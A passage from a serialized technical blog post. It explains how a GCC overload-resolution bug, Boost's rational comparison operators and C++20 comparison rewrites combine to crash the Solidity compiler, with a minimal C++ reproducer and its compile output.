}\n}\n",[91758],{"type":24,"tag":32,"props":91759,"children":91760},{"__ignoreMap":7},[91761,91768,91783,91790,91805,91832,91853,91860],{"type":24,"tag":90,"props":91762,"children":91763},{"class":92,"line":93},[91764],{"type":24,"tag":90,"props":91765,"children":91766},{"style":252},[91767],{"type":29,"value":91611},{"type":24,"tag":90,"props":91769,"children":91770},{"class":92,"line":200},[91771,91775,91779],{"type":24,"tag":90,"props":91772,"children":91773},{"style":636},[91774],{"type":29,"value":91619},{"type":24,"tag":90,"props":91776,"children":91777},{"style":97},[91778],{"type":29,"value":91624},{"type":24,"tag":90,"props":91780,"children":91781},{"style":114},[91782],{"type":29,"value":91629},{"type":24,"tag":90,"props":91784,"children":91785},{"class":92,"line":239},[91786],{"type":24,"tag":90,"props":91787,"children":91788},{"emptyLinePlaceholder":16},[91789],{"type":29,"value":245},{"type":24,"tag":90,"props":91791,"children":91792},{"class":92,"line":248},[91793,91797,91801],{"type":24,"tag":90,"props":91794,"children":91795},{"style":97},[91796],{"type":29,"value":91644},{"type":24,"tag":90,"props":91798,"children":91799},{"style":146},[91800],{"type":29,"value":91649},{"type":24,"tag":90,"props":91802,"children":91803},{"style":114},[91804],{"type":29,"value":269},{"type":24,"tag":90,"props":91806,"children":91807},{"class":92,"line":258},[91808,91812,91816,91820,91824,91828],{"type":24,"tag":90,"props":91809,"children":91810},{"style":97},[91811],{"type":29,"value":91661},{"type":24,"tag":90,"props":91813,"children":91814},{"style":108},[91815],{"type":29,"value":91666},{"type":24,"tag":90,"props":91817,"children":91818},{"style":114},[91819],{"type":29,"value":495},{"type":24,"tag":90,"props":91821,"children":91822},{"style":97},[91823],{"type":29,"value":63501},{"type":24,"tag":90,"props":91825,"children":91826},{"style":97},[91827],{"type":29,"value":91679},{"type":24,"tag":90,"props":91829,"children":91830},{"style":114},[91831],{"type":29,"value":269},{"type":24,"tag":90,"props":91833,"children":91834},{"class":92,"line":272},[91835,91840,91844,91848],{"type":24,"tag":90,"props":91836,"children":91837},{"style":146},[91838],{"type":29,"value":91839}," uint256",{"type":24,"tag":90,"props":91841,"children":91842},{"style":114},[91843],{"type":29,"value":719},{"type":24,"tag":90,"props":91845,"children":91846},{"style":349},[91847],{"type":29,"value":534},{"type":24,"tag":90,"props":91849,"children":91850},{"style":114},[91851],{"type":29,"value":91852},"] data;\n",{"type":24,"tag":90,"props":91854,"children":91855},{"class":92,"line":281},[91856],{"type":24,"tag":90,"props":91857,"children":91858},{"style":114},[91859],{"type":29,"value":612},{"type":24,"tag":90,"props":91861,"children":91862},{"class":92,"line":384},[91863],{"type":24,"tag":90,"props":91864,"children":91865},{"style":114},[91866],{"type":29,"value":827},{"type":24,"tag":25,"props":91868,"children":91869},{},[91870],{"type":29,"value":91871},"Still crashes.",{"type":24,"tag":25,"props":91873,"children":91874},{},[91875],{"type":29,"value":91876},"So what’s going on?",{"type":24,"tag":25,"props":91878,"children":91879},{},[91880],{"type":29,"value":91881},"We traced it down to a seemingly unrelated C++ line deep in the compiler backend:",{"type":24,"tag":80,"props":91883,"children":91885},{"code":91884,"language":30923,"meta":7,"className":30921,"style":7},"if (*lengthValue == 0) { ... }\n",[91886],{"type":24,"tag":32,"props":91887,"children":91888},{"__ignoreMap":7},[91889],{"type":24,"tag":90,"props":91890,"children":91891},{"class":92,"line":93},[91892,91896,91900,91904,91909,91913,91917],{"type":24,"tag":90,"props":91893,"children":91894},{"style":636},[91895],{"type":29,"value":2084},{"type":24,"tag":90,"props":91897,"children":91898},{"style":114},[91899],{"type":29,"value":1151},{"type":24,"tag":90,"props":91901,"children":91902},{"style":120},[91903],{"type":29,"value":983},{"type":24,"tag":90,"props":91905,"children":91906},{"style":114},[91907],{"type":29,"value":91908},"lengthValue ",{"type":24,"tag":90,"props":91910,"children":91911},{"style":120},[91912],{"type":29,"value":10951},{"type":24,"tag":90,"props":91914,"children":91915},{"style":349},[91916],{"type":29,"value":5448},{"type":24,"tag":90,"props":91918,"children":91919},{"style":114},[91920],{"type":29,"value":91921},") { ... }\n",{"type":24,"tag":25,"props":91923,"children":91924},{},[91925,91927,91933],{"type":29,"value":91926},"That single comparison — a ",{"type":24,"tag":32,"props":91928,"children":91930},{"className":91929},[],[91931],{"type":29,"value":91932},"boost::rational",{"type":29,"value":91934}," compared to 0 — causes infinite recursion in G++ \u003C 14 when compiled under C++20. And the resulting stack overflow crashes solc.",{"type":24,"tag":25,"props":91936,"children":91937},{},[91938],{"type":29,"value":91939},"This post unpacks how this happened — and why none of the individual components are technically \"broken\":",{"type":24,"tag":3207,"props":91941,"children":91942},{},[91943,91948,91953],{"type":24,"tag":3104,"props":91944,"children":91945},{},[91946],{"type":29,"value":91947},"A 12-year-old overload resolution bug in G++",{"type":24,"tag":3104,"props":91949,"children":91950},{},[91951],{"type":29,"value":91952},"An outdated symmetric comparison pattern in Boost",{"type":24,"tag":3104,"props":91954,"children":91955},{},[91956],{"type":29,"value":91957},"A subtle but impactful rewrite rule in C++20",{"type":24,"tag":25,"props":91959,"children":91960},{},[91961],{"type":29,"value":91962},"Put together, they form a perfect storm — one that takes down Solidity compilation on default Linux setups, even though your code is perfectly fine.",{"type":24,"tag":20586,"props":91964,"children":91965},{},[],{"type":24,"tag":850,"props":91967,"children":91969},{"id":91968},"background-the-setup",[91970],{"type":29,"value":91971},"Background: The Setup",{"type":24,"tag":25,"props":91973,"children":91974},{},[91975,91977,91984],{"type":29,"value":91976},"If you follow the ",{"type":24,"tag":69,"props":91978,"children":91981},{"href":91979,"rel":91980},"https://docs.soliditylang.org/en/v0.8.30/installing-solidity.html#building-from-source",[73],[91982],{"type":29,"value":91983},"Solidity build documentation (v0.8.30)",{"type":29,"value":91985},", you'll see it recommends:",{"type":24,"tag":3207,"props":91987,"children":91988},{},[91989,91994],{"type":24,"tag":3104,"props":91990,"children":91991},{},[91992],{"type":29,"value":91993},"Boost ≥ 1.67",{"type":24,"tag":3104,"props":91995,"children":91996},{},[91997],{"type":29,"value":91998},"GCC ≥ 11",{"type":24,"tag":25,"props":92000,"children":92001},{},[92002],{"type":29,"value":92003},"Ubuntu 22.04, for example, ships with:",{"type":24,"tag":3207,"props":92005,"children":92006},{},[92007,92012],{"type":24,"tag":3104,"props":92008,"children":92009},{},[92010],{"type":29,"value":92011},"G++ 11.4.0",{"type":24,"tag":3104,"props":92013,"children":92014},{},[92015],{"type":29,"value":92016},"Boost 1.74.0",{"type":24,"tag":25,"props":92018,"children":92019},{},[92020],{"type":29,"value":92021},"So far, so good.",{"type":24,"tag":25,"props":92023,"children":92024},{},[92025,92027,92032],{"type":29,"value":92026},"However, Solidity enabled ",{"type":24,"tag":7711,"props":92028,"children":92029},{},[92030],{"type":29,"value":92031},"C++20",{"type":29,"value":92033}," in January 2025:",{"type":24,"tag":5339,"props":92035,"children":92036},{},[92037],{"type":24,"tag":25,"props":92038,"children":92039},{},[92040],{"type":24,"tag":69,"props":92041,"children":92044},{"href":92042,"rel":92043},"https://github.com/ethereum/solidity/commit/233a5081835a04939ccf85dfb5286c0b53d23c66",[73],[92045],{"type":29,"value":92046},"Enable C++20 in Solidity",{"type":24,"tag":25,"props":92048,"children":92049},{},[92050],{"type":29,"value":92051},"This wasn't accompanied by an update to the versions of dependencies in the documentation. As we'll soon see, that's what opened the trapdoor.",{"type":24,"tag":20586,"props":92053,"children":92054},{},[],{"type":24,"tag":850,"props":92056,"children":92058},{"id":92057},"part-i-a-12-year-old-g-bug-in-overload-resolution",[92059],{"type":29,"value":92060},"Part I: A 12-Year-Old G++ Bug in Overload Resolution",{"type":24,"tag":1019,"props":92062,"children":92064},{"id":92063},"whats-overload-resolution",[92065],{"type":29,"value":92066},"What’s Overload Resolution?",{"type":24,"tag":25,"props":92068,"children":92069},{},[92070,92072,92078,92080,92086,92088,92093,92095,92100,92102,92108,92110,92115,92116,92122],{"type":29,"value":92071},"In C++, when you write an expression like ",{"type":24,"tag":32,"props":92073,"children":92075},{"className":92074},[],[92076],{"type":29,"value":92077},"a == b",{"type":29,"value":92079},", the compiler chooses among available ",{"type":24,"tag":32,"props":92081,"children":92083},{"className":92082},[],[92084],{"type":29,"value":92085},"operator==",{"type":29,"value":92087}," implementations by comparing their ",{"type":24,"tag":7711,"props":92089,"children":92090},{},[92091],{"type":29,"value":92092},"match quality",{"type":29,"value":92094},". A ",{"type":24,"tag":7711,"props":92096,"children":92097},{},[92098],{"type":29,"value":92099},"member function",{"type":29,"value":92101}," like ",{"type":24,"tag":32,"props":92103,"children":92105},{"className":92104},[],[92106],{"type":29,"value":92107},"a.operator==(b)",{"type":29,"value":92109}," usually has higher priority than a ",{"type":24,"tag":7711,"props":92111,"children":92112},{},[92113],{"type":29,"value":92114},"non-member function",{"type":29,"value":92101},{"type":24,"tag":32,"props":92117,"children":92119},{"className":92118},[],[92120],{"type":29,"value":92121},"operator==(a, b)",{"type":29,"value":92123}," — unless the types differ too much or are ambiguous.",{"type":24,"tag":25,"props":92125,"children":92126},{},[92127],{"type":29,"value":92128},"That’s the rule. But G++ didn’t always follow it.",{"type":24,"tag":1019,"props":92130,"children":92132},{"id":92131},"the-bug",[92133],{"type":29,"value":92134},"The Bug",{"type":24,"tag":25,"props":92136,"children":92137},{},[92138,92140,92147],{"type":29,"value":92139},"In 2012, a bug was filed: ",{"type":24,"tag":69,"props":92141,"children":92144},{"href":92142,"rel":92143},"https://gcc.gnu.org/bugzilla/show_bug.cgi?id=53499",[73],[92145],{"type":29,"value":92146},"GCC Bug 53499 – overload resolution favors non-member function",{"type":29,"value":92148},". The issue? In expressions where:",{"type":24,"tag":3207,"props":92150,"children":92151},{},[92152,92172],{"type":24,"tag":3104,"props":92153,"children":92154},{},[92155,92157,92163,92165,92170],{"type":29,"value":92156},"A class ",{"type":24,"tag":32,"props":92158,"children":92160},{"className":92159},[],[92161],{"type":29,"value":92162},"rational\u003CT>",{"type":29,"value":92164}," has a templated ",{"type":24,"tag":32,"props":92166,"children":92168},{"className":92167},[],[92169],{"type":29,"value":92085},{"type":29,"value":92171}," member function",{"type":24,"tag":3104,"props":92173,"children":92174},{},[92175,92177,92183],{"type":29,"value":92176},"There's also a more generic free ",{"type":24,"tag":32,"props":92178,"children":92180},{"className":92179},[],[92181],{"type":29,"value":92182},"operator==(rational\u003CT>, U)",{"type":29,"value":40030},{"type":24,"tag":25,"props":92185,"children":92186},{},[92187],{"type":24,"tag":7711,"props":92188,"children":92189},{},[92190],{"type":29,"value":92191},"Clang correctly chooses the member function.",{"type":24,"tag":25,"props":92193,"children":92194},{},[92195],{"type":24,"tag":7711,"props":92196,"children":92197},{},[92198],{"type":29,"value":92199},"G++ (before v14) chooses the non-member function.",{"type":24,"tag":25,"props":92201,"children":92202},{},[92203,92205,92210,92212,92219],{"type":29,"value":92204},"Why? Because G++ mishandles ",{"type":24,"tag":7711,"props":92206,"children":92207},{},[92208],{"type":29,"value":92209},"templated conversion + non-exact match",{"type":29,"value":92211},", overvaluing a non-member function with worse match quality. It does not correctly apply the overload resolution ranking rules defined in ",{"type":24,"tag":69,"props":92213,"children":92216},{"href":92214,"rel":92215},"https://cplusplus.github.io/CWG/issues/532.html",[73],[92217],{"type":29,"value":92218},"CWG532: Member/nonmember operator template partial ordering",{"type":29,"value":226},{"type":24,"tag":1019,"props":92221,"children":92223},{"id":92222},"a-minimal-reproducer",[92224],{"type":29,"value":92225},"A Minimal Reproducer",{"type":24,"tag":25,"props":92227,"children":92228},{},[92229],{"type":29,"value":92230},"Let’s see this in action:",{"type":24,"tag":80,"props":92232,"children":92234},{"code":92233,"language":30923,"meta":7,"className":30921,"style":7},"#include \u003Ciostream>\n\ntemplate \u003Ctypename IntType>\nclass rational {\npublic:\n template \u003Cclass T>\n bool operator==(const T& i) const {\n std::cout \u003C\u003C \"clang++ resolved member\" \u003C\u003C std::endl;\n return true;\n }\n};\n\ntemplate \u003Cclass Arg, class IntType>\nbool operator==(const rational\u003CIntType>& a, const Arg& b) {\n std::cout \u003C\u003C \"g++ \u003C14 resolved non-member\" \u003C\u003C std::endl;\n return false;\n}\n\nint main() {\n rational\u003Cint> r;\n return r == 0;\n}\n",[92235],{"type":24,"tag":32,"props":92236,"children":92237},{"__ignoreMap":7},[92238,92251,92258,92283,92299,92307,92331,92376,92404,92419,92426,92433,92440,92476,92545,92570,92585,92592,92599,92615,92640,92664],{"type":24,"tag":90,"props":92239,"children":92240},{"class":92,"line":93},[92241,92246],{"type":24,"tag":90,"props":92242,"children":92243},{"style":636},[92244],{"type":29,"value":92245},"#include",{"type":24,"tag":90,"props":92247,"children":92248},{"style":1085},[92249],{"type":29,"value":92250}," \u003Ciostream>\n",{"type":24,"tag":90,"props":92252,"children":92253},{"class":92,"line":200},[92254],{"type":24,"tag":90,"props":92255,"children":92256},{"emptyLinePlaceholder":16},[92257],{"type":29,"value":245},{"type":24,"tag":90,"props":92259,"children":92260},{"class":92,"line":239},[92261,92265,92269,92274,92279],{"type":24,"tag":90,"props":92262,"children":92263},{"style":97},[92264],{"type":29,"value":68043},{"type":24,"tag":90,"props":92266,"children":92267},{"style":114},[92268],{"type":29,"value":11095},{"type":24,"tag":90,"props":92270,"children":92271},{"style":97},[92272],{"type":29,"value":92273},"typename",{"type":24,"tag":90,"props":92275,"children":92276},{"style":146},[92277],{"type":29,"value":92278}," IntType",{"type":24,"tag":90,"props":92280,"children":92281},{"style":114},[92282],{"type":29,"value":8377},{"type":24,"tag":90,"props":92284,"children":92285},{"class":92,"line":248},[92286,92290,92295],{"type":24,"tag":90,"props":92287,"children":92288},{"style":97},[92289],{"type":29,"value":72238},{"type":24,"tag":90,"props":92291,"children":92292},{"style":146},[92293],{"type":29,"value":92294}," rational",{"type":24,"tag":90,"props":92296,"children":92297},{"style":114},[92298],{"type":29,"value":269},{"type":24,"tag":90,"props":92300,"children":92301},{"class":92,"line":258},[92302],{"type":24,"tag":90,"props":92303,"children":92304},{"style":97},[92305],{"type":29,"value":92306},"public:\n",{"type":24,"tag":90,"props":92308,"children":92309},{"class":92,"line":272},[92310,92315,92319,92323,92327],{"type":24,"tag":90,"props":92311,"children":92312},{"style":97},[92313],{"type":29,"value":92314}," template",{"type":24,"tag":90,"props":92316,"children":92317},{"style":114},[92318],{"type":29,"value":11095},{"type":24,"tag":90,"props":92320,"children":92321},{"style":97},[92322],{"type":29,"value":72238},{"type":24,"tag":90,"props":92324,"children":92325},{"style":146},[92326],{"type":29,"value":8304},{"type":24,"tag":90,"props":92328,"children":92329},{"style":114},[92330],{"type":29,"value":8377},{"type":24,"tag":90,"props":92332,"children":92333},{"class":92,"line":281},[92334,92338,92343,92348,92352,92356,92360,92364,92368,92372],{"type":24,"tag":90,"props":92335,"children":92336},{"style":97},[92337],{"type":29,"value":48295},{"type":24,"tag":90,"props":92339,"children":92340},{"style":97},[92341],{"type":29,"value":92342}," operator",{"type":24,"tag":90,"props":92344,"children":92345},{"style":114},[92346],{"type":29,"value":92347},"==(",{"type":24,"tag":90,"props":92349,"children":92350},{"style":97},[92351],{"type":29,"value":508},{"type":24,"tag":90,"props":92353,"children":92354},{"style":146},[92355],{"type":29,"value":8304},{"type":24,"tag":90,"props":92357,"children":92358},{"style":97},[92359],{"type":29,"value":123},{"type":24,"tag":90,"props":92361,"children":92362},{"style":136},[92363],{"type":29,"value":5790},{"type":24,"tag":90,"props":92365,"children":92366},{"style":114},[92367],{"type":29,"value":172},{"type":24,"tag":90,"props":92369,"children":92370},{"style":97},[92371],{"type":29,"value":508},{"type":24,"tag":90,"props":92373,"children":92374},{"style":114},[92375],{"type":29,"value":269},{"type":24,"tag":90,"props":92377,"children":92378},{"class":92,"line":384},[92379,92384,92389,92394,92399],{"type":24,"tag":90,"props":92380,"children":92381},{"style":114},[92382],{"type":29,"value":92383}," std::cout ",{"type":24,"tag":90,"props":92385,"children":92386},{"style":120},[92387],{"type":29,"value":92388},"\u003C\u003C",{"type":24,"tag":90,"props":92390,"children":92391},{"style":1085},[92392],{"type":29,"value":92393}," \"clang++ resolved member\"",{"type":24,"tag":90,"props":92395,"children":92396},{"style":120},[92397],{"type":29,"value":92398}," \u003C\u003C",{"type":24,"tag":90,"props":92400,"children":92401},{"style":114},[92402],{"type":29,"value":92403}," std::endl;\n",{"type":24,"tag":90,"props":92405,"children":92406},{"class":92,"line":420},[92407,92411,92415],{"type":24,"tag":90,"props":92408,"children":92409},{"style":636},[92410],{"type":29,"value":2253},{"type":24,"tag":90,"props":92412,"children":92413},{"style":97},[92414],{"type":29,"value":14835},{"type":24,"tag":90,"props":92416,"children":92417},{"style":114},[92418],{"type":29,"value":381},{"type":24,"tag":90,"props":92420,"children":92421},{"class":92,"line":428},[92422],{"type":24,"tag":90,"props":92423,"children":92424},{"style":114},[92425],{"type":29,"value":612},{"type":24,"tag":90,"props":92427,"children":92428},{"class":92,"line":437},[92429],{"type":24,"tag":90,"props":92430,"children":92431},{"style":114},[92432],{"type":29,"value":3093},{"type":24,"tag":90,"props":92434,"children":92435},{"class":92,"line":574},[92436],{"type":24,"tag":90,"props":92437,"children":92438},{"emptyLinePlaceholder":16},[92439],{"type":29,"value":245},{"type":24,"tag":90,"props":92441,"children":92442},{"class":92,"line":606},[92443,92447,92451,92455,92460,92464,92468,92472],{"type":24,"tag":90,"props":92444,"children":92445},{"style":97},[92446],{"type":29,"value":68043},{"type":24,"tag":90,"props":92448,"children":92449},{"style":114},[92450],{"type":29,"value":11095},{"type":24,"tag":90,"props":92452,"children":92453},{"style":97},[92454],{"type":29,"value":72238},{"type":24,"tag":90,"props":92456,"children":92457},{"style":146},[92458],{"type":29,"value":92459}," Arg",{"type":24,"tag":90,"props":92461,"children":92462},{"style":114},[92463],{"type":29,"value":133},{"type":24,"tag":90,"props":92465,"children":92466},{"style":97},[92467],{"type":29,"value":72238},{"type":24,"tag":90,"props":92469,"children":92470},{"style":146},[92471],{"type":29,"value":92278},{"type":24,"tag":90,"props":92473,"children":92474},{"style":114},[92475],{"type":29,"value":8377},{"type":24,"tag":90,"props":92477,"children":92478},{"class":92,"line":615},[92479,92483,92487,92491,92495,92499,92503,92508,92512,92516,92520,92524,92528,92532,92536,92541],{"type":24,"tag":90,"props":92480,"children":92481},{"style":97},[92482],{"type":29,"value":31497},{"type":24,"tag":90,"props":92484,"children":92485},{"style":97},[92486],{"type":29,"value":92342},{"type":24,"tag":90,"props":92488,"children":92489},{"style":114},[92490],{"type":29,"value":92347},{"type":24,"tag":90,"props":92492,"children":92493},{"style":97},[92494],{"type":29,"value":508},{"type":24,"tag":90,"props":92496,"children":92497},{"style":146},[92498],{"type":29,"value":92294},{"type":24,"tag":90,"props":92500,"children":92501},{"style":114},[92502],{"type":29,"value":1575},{"type":24,"tag":90,"props":92504,"children":92505},{"style":146},[92506],{"type":29,"value":92507},"IntType",{"type":24,"tag":90,"props":92509,"children":92510},{"style":114},[92511],{"type":29,"value":12830},{"type":24,"tag":90,"props":92513,"children":92514},{"style":97},[92515],{"type":29,"value":123},{"type":24,"tag":90,"props":92517,"children":92518},{"style":136},[92519],{"type":29,"value":91666},{"type":24,"tag":90,"props":92521,"children":92522},{"style":114},[92523],{"type":29,"value":133},{"type":24,"tag":90,"props":92525,"children":92526},{"style":97},[92527],{"type":29,"value":508},{"type":24,"tag":90,"props":92529,"children":92530},{"style":146},[92531],{"type":29,"value":92459},{"type":24,"tag":90,"props":92533,"children":92534},{"style":97},[92535],{"type":29,"value":123},{"type":24,"tag":90,"props":92537,"children":92538},{"style":136},[92539],{"type":29,"value":92540}," b",{"type":24,"tag":90,"props":92542,"children":92543},{"style":114},[92544],{"type":29,"value":1297},{"type":24,"tag":90,"props":92546,"children":92547},{"class":92,"line":623},[92548,92553,92557,92562,92566],{"type":24,"tag":90,"props":92549,"children":92550},{"style":114},[92551],{"type":29,"value":92552}," std::cout ",{"type":24,"tag":90,"props":92554,"children":92555},{"style":120},[92556],{"type":29,"value":92388},{"type":24,"tag":90,"props":92558,"children":92559},{"style":1085},[92560],{"type":29,"value":92561}," \"g++ \u003C14 resolved non-member\"",{"type":24,"tag":90,"props":92563,"children":92564},{"style":120},[92565],{"type":29,"value":92398},{"type":24,"tag":90,"props":92567,"children":92568},{"style":114},[92569],{"type":29,"value":92403},{"type":24,"tag":90,"props":92571,"children":92572},{"class":92,"line":632},[92573,92577,92581],{"type":24,"tag":90,"props":92574,"children":92575},{"style":636},[92576],{"type":29,"value":3510},{"type":24,"tag":90,"props":92578,"children":92579},{"style":97},[92580],{"type":29,"value":11431},{"type":24,"tag":90,"props":92582,"children":92583},{"style":114},[92584],{"type":29,"value":381},{"type":24,"tag":90,"props":92586,"children":92587},{"class":92,"line":669},[92588],{"type":24,"tag":90,"props":92589,"children":92590},{"style":114},[92591],{"type":29,"value":827},{"type":24,"tag":90,"props":92593,"children":92594},{"class":92,"line":683},[92595],{"type":24,"tag":90,"props":92596,"children":92597},{"emptyLinePlaceholder":16},[92598],{"type":29,"value":245},{"type":24,"tag":90,"props":92600,"children":92601},{"class":92,"line":737},[92602,92606,92611],{"type":24,"tag":90,"props":92603,"children":92604},{"style":97},[92605],{"type":29,"value":20841},{"type":24,"tag":90,"props":92607,"children":92608},{"style":108},[92609],{"type":29,"value":92610}," main",{"type":24,"tag":90,"props":92612,"children":92613},{"style":114},[92614],{"type":29,"value":2245},{"type":24,"tag":90,"props":92616,"children":92617},{"class":92,"line":751},[92618,92623,92627,92631,92635],{"type":24,"tag":90,"props":92619,"children":92620},{"style":114},[92621],{"type":29,"value":92622}," rational",{"type":24,"tag":90,"props":92624,"children":92625},{"style":120},[92626],{"type":29,"value":1575},{"type":24,"tag":90,"props":92628,"children":92629},{"style":97},[92630],{"type":29,"value":20841},{"type":24,"tag":90,"props":92632,"children":92633},{"style":120},[92634],{"type":29,"value":12830},{"type":24,"tag":90,"props":92636,"children":92637},{"style":114},[92638],{"type":29,"value":92639}," r;\n",{"type":24,"tag":90,"props":92641,"children":92642},{"class":92,"line":782},[92643,92647,92652,92656,92660],{"type":24,"tag":90,"props":92644,"children":92645},{"style":636},[92646],{"type":29,"value":3510},{"type":24,"tag":90,"props":92648,"children":92649},{"style":114},[92650],{"type":29,"value":92651}," r ",{"type":24,"tag":90,"props":92653,"children":92654},{"style":120},[92655],{"type":29,"value":10951},{"type":24,"tag":90,"props":92657,"children":92658},{"style":349},[92659],{"type":29,"value":5448},{"type":24,"tag":90,"props":92661,"children":92662},{"style":114},[92663],{"type":29,"value":381},{"type":24,"tag":90,"props":92665,"children":92666},{"class":92,"line":791},[92667],{"type":24,"tag":90,"props":92668,"children":92669},{"style":114},[92670],{"type":29,"value":827},{"type":24,"tag":3207,"props":92672,"children":92673},{},[92674],{"type":24,"tag":3104,"props":92675,"children":92676},{},[92677],{"type":29,"value":92678},"Compile with g++\u003C14:",{"type":24,"tag":80,"props":92680,"children":92682},{"code":92681,"language":6629,"meta":7,"className":6630,"style":7},"g++ -std=c++17 main.cpp -o test && ./test\n",[92683],{"type":24,"tag":32,"props":92684,"children":92685},{"__ignoreMap":7},[92686],{"type":24,"tag":90,"props":92687,"children":92688},{"class":92,"line":93},[92689,92694,92699,92704,92709,92713,92718],{"type":24,"tag":90,"props":92690,"children":92691},{"style":108},[92692],{"type":29,"value":92693},"g++",{"type":24,"tag":90,"props":92695,"children":92696},{"style":1085},[92697],{"type":29,"value":92698}," -std=c++17",{"type":24,"tag":90,"props":92700,"children":92701},{"style":1085},[92702],{"type":29,"value":92703}," main.cpp",{"type":24,"tag":90,"props":92705,"children":92706},{"style":1085},[92707],{"type":29,"value":92708}," -o",{"type":24,"tag":90,"props":92710,"children":92711},{"style":1085},[92712],{"type":29,"value":32490},{"type":24,"tag":90,"props":92714,"children":92715},{"style":114},[92716],{"type":29,"value":92717}," && ",{"type":24,"tag":90,"props":92719,"children":92720},{"style":108},[92721],{"type":29,"value":92722},"./test\n",{"type":24,"tag":25,"props":92724,"children":92725},{},[92726],{"type":29,"value":92727},"Output (on g++ 11.4):",{"type":24,"tag":80,"props":92729,"children":92731},{"code":92730},"g++ \u003C14 resolved non-member\n",[92732],{"type":24,"tag":32,"props":92733,"children":92734},{"__ignoreMap":7},[92735],{"type":29,"value":92730},{"type":24,"tag":3207,"props":92737,"children":92738},{},[92739],{"type":24,"tag":3104,"props":92740,"children":92741},{},[92742],{"type":29,"value":92743},"Compile with clang++:",{"type":24,"tag":80,"props":92745,"children":92747},{"code":92746,"language":6629,"meta":7,"className":6630,"style":7},"clang++ -std=c++17 main.cpp -o test && ./test\n",[92748],{"type":24,"tag":32,"props":92749,"children":92750},{"__ignoreMap":7},[92751],{"type":24,"tag":90,"props":92752,"children":92753},{"class":92,"line":93},[92754,92759,92763,92767,92771,92775,92779],{"type":24,"tag":90,"props":92755,"children":92756},{"style":108},[92757],{"type":29,"value":92758},"clang++",{"type":24,"tag":90,"props":92760,"children":92761},{"style":1085},[92762],{"type":29,"value":92698},{"type":24,"tag":90,"props":92764,"children":92765},{"style":1085},[92766],{"type":29,"value":92703},{"type":24,"tag":90,"props":92768,"children":92769},{"style":1085},[92770],{"type":29,"value":92708},{"type":24,"tag":90,"props":92772,"children":92773},{"style":1085},[92774],{"type":29,"value":32490},{"type":24,"tag":90,"props":92776,"children":92777},{"style":114},[92778],{"type":29,"value":92717},{"type":24,"tag":90,"props":92780,"children":92781},{"style":108},[92782],{"type":29,"value":92722},{"type":24,"tag":25,"props":92784,"children":92785},{},[92786],{"type":29,"value":92787},"Output:",{"type":24,"tag":80,"props":92789,"children":92791},{"code":92790},"clang++ resolved member\n",[92792],{"type":24,"tag":32,"props":92793,"children":92794},{"__ignoreMap":7},[92795],{"type":29,"value":92790},{"type":24,"tag":25,"props":92797,"children":92798},{},[92799],{"type":29,"value":92800},"In short, the wrong function gets picked. G++ was broken here until v14.",{"type":24,"tag":20586,"props":92802,"children":92803},{},[],{"type":24,"tag":850,"props":92805,"children":92807},{"id":92806},"part-ii-c20s-symmetric-comparison-feature",[92808],{"type":29,"value":92809},"Part II: C++20’s Symmetric Comparison Feature",{"type":24,"tag":1019,"props":92811,"children":92813},{"id":92812},"what-changed-in-c20",[92814],{"type":29,"value":92815},"What Changed in C++20?",{"type":24,"tag":25,"props":92817,"children":92818},{},[92819,92821,92834,92835,92840],{"type":29,"value":92820},"C++20 introduced the ",{"type":24,"tag":69,"props":92822,"children":92825},{"href":92823,"rel":92824},"https://en.cppreference.com/w/cpp/language/operator_comparison",[73],[92826,92828],{"type":29,"value":92827},"spaceship operator ",{"type":24,"tag":32,"props":92829,"children":92831},{"className":92830},[],[92832],{"type":29,"value":92833},"\u003C=>",{"type":29,"value":13360},{"type":24,"tag":7711,"props":92836,"children":92837},{},[92838],{"type":29,"value":92839},"defaulted comparison rewrites",{"type":29,"value":226},{"type":24,"tag":25,"props":92842,"children":92843},{},[92844,92846,92851],{"type":29,"value":92845},"When you define a two-argument ",{"type":24,"tag":32,"props":92847,"children":92849},{"className":92848},[],[92850],{"type":29,"value":92085},{"type":29,"value":92852},", C++20 may implicitly define the \"reversed\" version:",{"type":24,"tag":3207,"props":92854,"children":92855},{},[92856,92867],{"type":24,"tag":3104,"props":92857,"children":92858},{},[92859,92861],{"type":29,"value":92860},"If you define: ",{"type":24,"tag":32,"props":92862,"children":92864},{"className":92863},[],[92865],{"type":29,"value":92866},"bool operator==(T1, T2);",{"type":24,"tag":3104,"props":92868,"children":92869},{},[92870,92872,92878],{"type":29,"value":92871},"Then ",{"type":24,"tag":32,"props":92873,"children":92875},{"className":92874},[],[92876],{"type":29,"value":92877},"T2 == T1",{"type":29,"value":92879}," may call the same function by reversing the arguments.",{"type":24,"tag":25,"props":92881,"children":92882},{},[92883,92885,92890,92891,92896,92898,92904,92906,92911],{"type":29,"value":92884},"This rewrite is ",{"type":24,"tag":7711,"props":92886,"children":92887},{},[92888],{"type":29,"value":92889},"recursive",{"type":29,"value":1833},{"type":24,"tag":32,"props":92892,"children":92894},{"className":92893},[],[92895],{"type":29,"value":92077},{"type":29,"value":92897}," becomes ",{"type":24,"tag":32,"props":92899,"children":92901},{"className":92900},[],[92902],{"type":29,"value":92903},"b == a",{"type":29,"value":92905},", which becomes ",{"type":24,"tag":32,"props":92907,"children":92909},{"className":92908},[],[92910],{"type":29,"value":92077},{"type":29,"value":92912}," again, and so on — if not handled carefully.",{"type":24,"tag":25,"props":92914,"children":92915},{},[92916],{"type":29,"value":92917},"This is great for reducing boilerplate — unless the call becomes ambiguous or self-referential.",{"type":24,"tag":20586,"props":92919,"children":92920},{},[],{"type":24,"tag":850,"props":92922,"children":92924},{"id":92923},"part-iii-the-boost-trapdoor",[92925],{"type":29,"value":92926},"Part III: The Boost Trapdoor",{"type":24,"tag":25,"props":92928,"children":92929},{},[92930,92932,92938,92940,92945],{"type":29,"value":92931},"The old Boost ",{"type":24,"tag":32,"props":92933,"children":92935},{"className":92934},[],[92936],{"type":29,"value":92937},"rational",{"type":29,"value":92939}," class (prior to v1.75) defined both member function and non-member function of ",{"type":24,"tag":32,"props":92941,"children":92943},{"className":92942},[],[92944],{"type":29,"value":92085},{"type":29,"value":78},{"type":24,"tag":80,"props":92947,"children":92949},{"code":92948,"language":30923,"meta":7,"className":30921,"style":7},"template \u003Cclass Arg, class IntType>\ntemplate \u003Ctypename IntType>\nclass rational\n{\n ...\npublic:\n ...\n \n template \u003Cclass T>\n BOOST_CONSTEXPR typename boost::enable_if_c\u003Crational_detail::is_compatible_integer\u003CT, IntType>::value, bool>::type operator== (const T& i) const\n {\n return ((den == IntType(1)) && (num == i));\n }\n ...\n}\n\ntemplate \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n operator == (const 